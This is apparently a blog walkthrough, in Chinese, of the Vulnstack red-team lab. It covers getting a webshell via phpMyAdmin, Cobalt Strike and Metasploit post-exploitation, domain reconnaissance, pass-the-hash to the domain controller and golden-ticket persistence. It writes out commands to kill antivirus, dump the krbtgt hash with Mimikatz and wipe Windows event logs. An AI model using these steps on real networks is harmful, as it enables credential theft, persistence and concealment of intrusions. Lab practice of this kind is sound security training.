Vmware导入主机

  • 攻击机kali linux
  • Web服务器Windows7
  • 域控Windows2008
  • 域成员Windows2003

环境搭建

网络配置

win7作为web服务器,需要外部能够访问,因此网卡需要走NAT,同样攻击机kali也要能够被外部(主要是反弹shell)访问以及访问win7,因此kali也走NAT。域控、域成员不接触外网,因此需要设置其网卡为仅主机模式(网段需与NAT的不同),同时win7需要能够访问内网,因此win7也得配置一张仅主机模式的网卡

首先配置一下网络编辑器,三台主机一开始都被分配了固定的ip网段192.168.52.0/24了,因此需要添加一张仅主机模式、子网地址为192.168.52.0的网卡

image-20251023154209837

image-20251023154523921

接下来是为四台主机配置网卡:

Win7两张,一张内网一张外部访问:

1
这里有本人踩过的坑,必须是网络适配器1是主机模式,适配器2是NAT。建议把预装的NAT改为自定义的,再添加一张新的设置为NAT,总之就是很玄学。。。更改设置的时候都处于关机状态,然后重开机

image-20251023154645470

域控(Windows2008)一张,用于内网:

image-20251023154712950

域成员(Windows2003)一张,用于内网:

image-20251023154757574

win7、win8再把所有防火墙都关一下

最终的结果:

  • win7能够ping通外部以及攻击机kali以及内网其他2台主机
  • Windows2008能够ping通内网其他两台主机但是无法ping通外部以及kali
  • Windows2003同上
  • kali能够与外界访问,能够ping通win7的NAT的ip,无法Ping通所有52网段内网ip

各主机的ip

1
2
3
4
kali : 192.168.227.137(NAT) 192.168.52.129
win7 : 192.168.227.139(NAT) 192.168.52.143
win08 : 192.168.52.138
win03 : 192.168.52.141

启动web服务

win7的C盘下找到phpstudy并启动web服务,能够杯外部访问:
image-20251023155051095

当时我直接启动是不成功的,会一直报错,后面网上找解决方案的时候告诉我需要升级win7虚拟机,当我将其升级到16.x,也就是我自己VMware的版本的时候重新启动虚拟机,就可以成功启动web服务了

外点getshell

探针的页面下,MySQL弱口令存在root/root,但是似乎是内网存在,外部无法连接上

用dirsearch扫一下,发现有phpMyAdmin后台以及phpinfo

image-20251023155618611

在这里有sql执行的地方,自然就想到了通过sql来getshell的操作

并且还是在windows系统下,所以用写日志的方式来进行getshell

具体操作可查看:https://www.sqlsec.com/2020/11/mysql.html#%E6%97%A5%E5%BF%97%E6%96%87%E4%BB%B6%E5%86%99-shell

从虚拟机中也可以看到成功写进了

image-20251023161657311

然后就可以用蚁剑成功连上了

后渗透阶段

上线cs

在kali中启动teamserver,配置好ip和密码(ip是kali本身的ip

image-20251023162351394

然后起一个beacon http的监听器

image-20251023162532423

生成windows端后门文件

image-20251023164311463

image-20251023164640750

然后再将该exe通过蚁剑上传到win7机子上,执行cs.exe成功上线

image-20251023202754351

image-20251023203040001

为了方便后续操作把会话派生到msf,先在msf配置好模块和payload,lhost以及端口等信息,开个反向连接

image-20251023204318135

在CS创建一个新的监听器,payload选foreign http,host填msf的服务ip,端口填msf的监听端口

image-20251023204406287

在cs会话中选中新建会话

image-20251023204606473

拿到meterpreter

image-20251023204653331

检查是否为虚拟机,一般是用于检测蜜罐的

1
run post/windows/gather/checkvm

image-20251023204741507

随手关杀软(靶场是没有的,但是实战中拿到shell第一件事就是关杀软)

1
run post/windows/manage/killav

image-20251023204820729

扫了下机子,发现还是有非常多能利用的漏洞的

image-20251023204856502

目前是管理员权限

image-20251023205115122

但我们还可以提权到system级别的权限,在meterpreter中通过getsystem命令进行提权

image-20251023205414226

在CS使用logonpasswords获取用户名密码,可在CS中开启RDP后远程桌面连接(亲手测试后表示超卡

image-20251023205649153

内网信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ipconfig /all				#查询当前网络情况(DNS,域等)
systeminfo #查系统信息
net view # 查看局域网内其他主机名
net view /domain # 查看有几个域
net user # 查看本机用户名
net user /domain # 查看域用户
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器主机名(可能有多台)

先执行whoami查看身份,发现是god域下的administrator权限,也来一手提权到system,要不然后面有点的命令权限不太够

image-20251023210001746

更好的建议是通过cs内置的模块进行提权到system

image-20251023210340924

image-20251023210407233

最后会生成一个新listener会话,user是system级别的

执行net config workstation,发现存在域god

image-20251023210233434

可能存在多个域,因此,接下来执行net view /domain,发现只有一个域GOD

image-20251023210635604

net view查看一下域内一共有三台主机

image-20251023211613500

查看域下的分组

image-20251023212030432

直接net group "domain controllers" /domain查看域管理员

image-20251023213730052

至此域内关键信息所收集的差不多了,梳理一下

存在一个域GOD,GOD域下有三台主机,域控是OWA主机,即192.168.52.138,win7主机内网ip为192.168.52.129,接下来就是要扫描内网主机了

msf拿下域控

先进行端口扫描,这里使用CS的portscan或者msf的auxiliary/scanner/portscan/tcp 模块

image-20251023214040296

发现OWA主机开放了445、636、593等端口

image-20251023214119435

先用nmap粗略扫一下域控主机开放端口的可能存在漏洞

1
nmap --script=vuln -p636,593,464,389,135,139,88,80,53,445 192.168.52.138

哈希传递攻击

前面端口扫描过的目标主机都会在Targets中显示:

image-20251023214730318

我们可以创建SMB监听隧道,首先我们新增一个SMB监听器,如下所示:
image-20251023215206894

在beacon执行logonpasswords来获取明文密码以及哈希凭据

然后在Targets中选中目标主机右键,进行Jump,方式选psexec攻击

监听器选择我们刚刚新建的SMB

这里我们选择system权限的session进行哈希传递,其他的可能权限不够

image-20251023215938931

成功横移到域控主机上

image-20251023220435791

接着我们要做的是关闭域控的防火墙(这是一个好习惯

黄金票据维持权限

在内网渗透中,黄金票据(Golden Ticket)是一种权限维持技术,允许攻击者在获取域控权限后,伪造有效的Kerberos票据授予票据(TGT),从而长期、隐蔽地重新获得域内访问权限

要理解黄金票据,需先了解Kerberos认证流程。当用户登录域时,域控制器(作为密钥分发中心KDC)的身份认证服务(AS)会验证用户凭证。若成功,AS会向用户签发一个TGT。该TGT由KDC的一个特殊账户——krbtgt账户的NTLM哈希进行加密签名

用户后续申请访问其他服务的票据(Service Ticket)时,只需出示此TGT,而无需再次输入密码。

黄金票据攻击的核心在于,一旦攻击者获取了krbtgt账户的密码哈希(NTLM Hash),就可以离线伪造任意用户(包括域管理员)的TGT。因为KDC在验证TGT时,使用其持有的krbtgt哈希进行解密验证,只要攻击者使用正确的krbtgt哈希加密伪造的TGT,该票据就会被KDC认为是合法的。更关键的是,即使域管理员后期更改了密码,只要krbtgt账户的哈希未变,之前伪造的黄金票据依然有效,这使得它成为一种非常危险的持久化后门

成功制作黄金票据需要满足以下几个关键条件

  1. 已获得域管理员级别权限:这是前提中的前提,因为你需要借此去获取下一步的关键信息。

  2. 获取域的标识信息

    • 域名:目标Active Directory域的完整域名。
    • 域SID:域的安全标识符,可以通过命令如 whoami /userwmic useraccount get name,sid获取,使用时需要去掉末尾表示用户的RID部分。
  3. 获取krbtgt账户的NTLM哈希:这是最核心的要素。在已控制域控制器的情况下,常用工具和技术获取:

    • 使用Mimikatz的DCSync功能:此功能可模拟域控制器,向真实的域控制器请求数据同步,从而获取指定账户的哈希,无需登录域控制器

      1
      mimikatz # lsadump::dcsync /domain:<域名> /user:krbtgt
    • 在域控制器上直接转储:若已直接在域控制器上执行代码,可使用Mimikatz从LSASS进程转储哈希。

      1
      2
      mimikatz # privilege::debug
      mimikatz # lsadump::lsa /inject /name:krbtgt

下面是利用cs来创建黄金票据

首先拿到krbtgt账户的哈希

image-20251026195751839

再通过logonpasswords拿到明文密码

image-20251026200157083

然后利用cs中内置的黄金票据模块来进行创建,user名可以自己创

image-20251026200717697

image-20251026200732595

这样子我们就成功创建了属于我们自己的黄金票据了

image-20251026201210882

痕迹清理

1
2
3
4
5
shell wevtutil cl security    //清理安全日志
shell wevtutil cl system //清理系统日志
shell wevtutil cl application //清理应用程序日志
shell wevtutil cl "windows powershell" //清除power shell日志
shell wevtutil cl Setup //清除(cl)事件日志中的 "Setup" 事件。

msf

1
clearev  #清除事件日志

参考

Vulnstack红日靶场(1)💕

红日靶场-1详细解析(适合小白版)